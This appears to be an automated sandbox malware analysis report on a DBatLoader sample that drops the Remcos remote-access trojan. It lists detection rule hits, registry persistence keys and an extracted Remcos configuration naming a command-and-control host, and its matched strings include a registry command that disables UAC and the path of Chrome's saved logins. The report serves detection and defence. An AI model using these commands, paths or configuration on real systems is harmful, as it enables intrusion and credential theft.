00000007.00000002.2426493802.0000000004081000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000004.00000003.2597324711.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3072775646.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3202677250.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4203802144.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3199136565.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2855238771.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2998039097.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4150586108.0000000000832000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4104689962.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000004.00000003.4149829264.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3953749266.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4190364611.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2651773256.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3903387699.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2513853407.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2483626145.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2993705504.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2500770364.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000004.00000003.3282868515.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3170185059.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000007.00000002.2434407266.0000000015D10000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4108651921.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2500770364.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4139785485.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000007.00000003.2417235143.0000000000936000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3282868515.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2665633974.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2966180059.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000008.00000002.2521921052.0000000015E9B000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x14a8:$a1: Remcos restarted by watchdog! 0x1a20:$a3: %02i:%02i:%02i:%03i
00000004.00000003.2509275795.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4149829264.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2571716341.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4155304442.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x1ffc28:$a1: Remcos restarted by watchdog! 0x230f26:$a1: Remcos restarted by watchdog! 0x200181:$a3: %02i:%02i:%02i:%03i 0x2005b0:$a3: %02i:%02i:%02i:%03i 0x231480:$a3: %02i:%02i:%02i:%03i 0x2318af:$a3: %02i:%02i:%02i:%03i
Process Memory Space: adode.exe PID: 7148	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: Tuscpznj.PIF PID: 2544	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: Tuscpznj.PIF PID: 2544	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x8082:$a1: Remcos restarted by watchdog! 0x85db:$a3: %02i:%02i:%02i:%03i 0x8a12:$a3: %02i:%02i:%02i:%03i
Process Memory Space: adode.exe PID: 4080	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: adode.exe PID: 4080	Windows_Trojan_Remcos_b296e965	unknown	unknown	0xdcaf:$a1: Remcos restarted by watchdog! 0xe208:$a3: %02i:%02i:%02i:%03i 0xe63f:$a3: %02i:%02i:%02i:%03i
Process Memory Space: adode.exe PID: 3184	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: adode.exe PID: 3184	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x3c284:$a1: Remcos restarted by watchdog! 0x3c7dd:$a3: %02i:%02i:%02i:%03i 0x3cc14:$a3: %02i:%02i:%02i:%03i
Process Memory Space: Tuscpznj.PIF PID: 3708	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: Tuscpznj.PIF PID: 3708	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x12d3c:$a1: Remcos restarted by watchdog! 0x13295:$a3: %02i:%02i:%02i:%03i 0x136cc:$a3: %02i:%02i:%02i:%03i
Process Memory Space: adode.exe PID: 3740	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Click to see the 186 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.a3f0d8.4.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.3f60000.5.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.a3f0d8.4.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6b8a8:$a1: Remcos restarted by watchdog! 0x6be20:$a3: %02i:%02i:%02i:%03i
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack	REMCOS_RAT_variants	unknown	unknown	0x658fc:$str_a1: C:\Windows\System32\cmd.exe 0x65878:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x65878:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x65d78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x665a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6596c:$str_b2: Executing file: 0x669ec:$str_b3: GetDirectListeningPort 0x66398:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x66518:$str_b7: \update.vbs 0x65994:$str_b9: Downloaded file: 0x65980:$str_b10: Downloading file: 0x65a24:$str_b12: Failed to upload file: 0x669b4:$str_b13: StartForward 0x669d4:$str_b14: StopForward 0x66470:$str_b15: fso.DeleteFile " 0x66404:$str_b16: On Error Resume Next 0x664a0:$str_b17: fso.DeleteFolder " 0x65a14:$str_b18: Uploaded file: 0x659d4:$str_b19: Unable to delete: 0x66438:$str_b20: while fso.FileExists(" 0x65eb1:$str_c0: [Firefox StoredLogins not found]
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x657e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6577c:$s1: CoGetObject 0x65790:$s1: CoGetObject 0x657ac:$s1: CoGetObject 0x6f738:$s1: CoGetObject 0x6573c:$s2: Elevation:Administrator!new:
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Libraries\Tuscpznj.PIF" , CommandLine: "C:\Users\Public\Libraries\Tuscpznj.PIF" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\Tuscpznj.PIF, NewProcessName: C:\Users\Public\Libraries\Tuscpznj.PIF, OriginalFileName: C:\Users\Public\Libraries\Tuscpznj.PIF, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Users\Public\Libraries\Tuscpznj.PIF" , ProcessId: 2544, ProcessName: Tuscpznj.PIF

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Tuscpznj.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, ProcessId: 1612, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tuscpznj

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Tuscpznj.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, ProcessId: 1612, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tuscpznj

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\Public\Libraries\Tuscpznj.PIF" , CommandLine: "C:\Users\Public\Libraries\Tuscpznj.PIF" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\Tuscpznj.PIF, NewProcessName: C:\Users\Public\Libraries\Tuscpznj.PIF, OriginalFileName: C:\Users\Public\Libraries\Tuscpznj.PIF, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Users\Public\Libraries\Tuscpznj.PIF" , ProcessId: 2544, ProcessName: Tuscpznj.PIF

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\Temp\Skype\adode.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, ProcessId: 1612, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-3N0E9G

Stealing of Sensitive Information

Sigma detected: Remcos

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Skype\adode.exe, ProcessId: 7148, TargetFilename: C:\ProgramData\remcos\logs.dat

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://geoplugin.net/json.gp	URL Reputation: Label: phishing
Source: http://geoplugin.net/json.gp	URL Reputation: Label: phishing
Source: http://geoplugin.net/json.gp/C	URL Reputation: Label: phishing

Found malware configuration

Source: 00000004.00000003.4089720835.00000000008C5000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": "newpage44.mywire.org:5010:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Temp", "Copy file": "adode.exe", "Startup value": "Disable", "Hide file": "Enable", "Mutex": "Rmc-3N0E9G", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Enable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Enable", "Audio record time": "5"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Tuscpznj.PIF	ReversingLabs: Detection: 65%
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Virustotal: Detection: 41%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Virustotal: Detection: 41%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Virustotal: Detection: 41%			Perma Link
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	ReversingLabs: Detection: 65%

Yara detected Remcos RAT

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.3002735262.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3012377467.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3223217832.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3306200253.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4089720835.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4059114885.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3405385976.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3021986254.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2586692141.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2593724777.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3012377467.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4179192099.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4150487956.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3479934068.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2699820103.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2976227634.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.0000000000833000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3188199822.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2508288522.0000000000887000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2269065709.0000000000677000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3302857825.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3035450983.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3114331731.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2976227634.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2464044779.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3104851524.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2924688106.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3161654820.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2907189978.0000000000836000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3756339158.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2468471495.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2505658675.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4076981656.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3398152282.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3108448278.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4089190210.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4164933098.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3026491234.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2990087085.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2966180059.00000000008B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3556121337.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4196544203.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2897470253.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3502452984.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2897470253.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3409189142.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3208675091.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3056499496.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4190137392.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2542929865.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3143777432.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2578962565.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3214746265.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3302857825.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2699820103.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3195851585.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3184396476.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2681130552.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3180921443.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3226849372.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
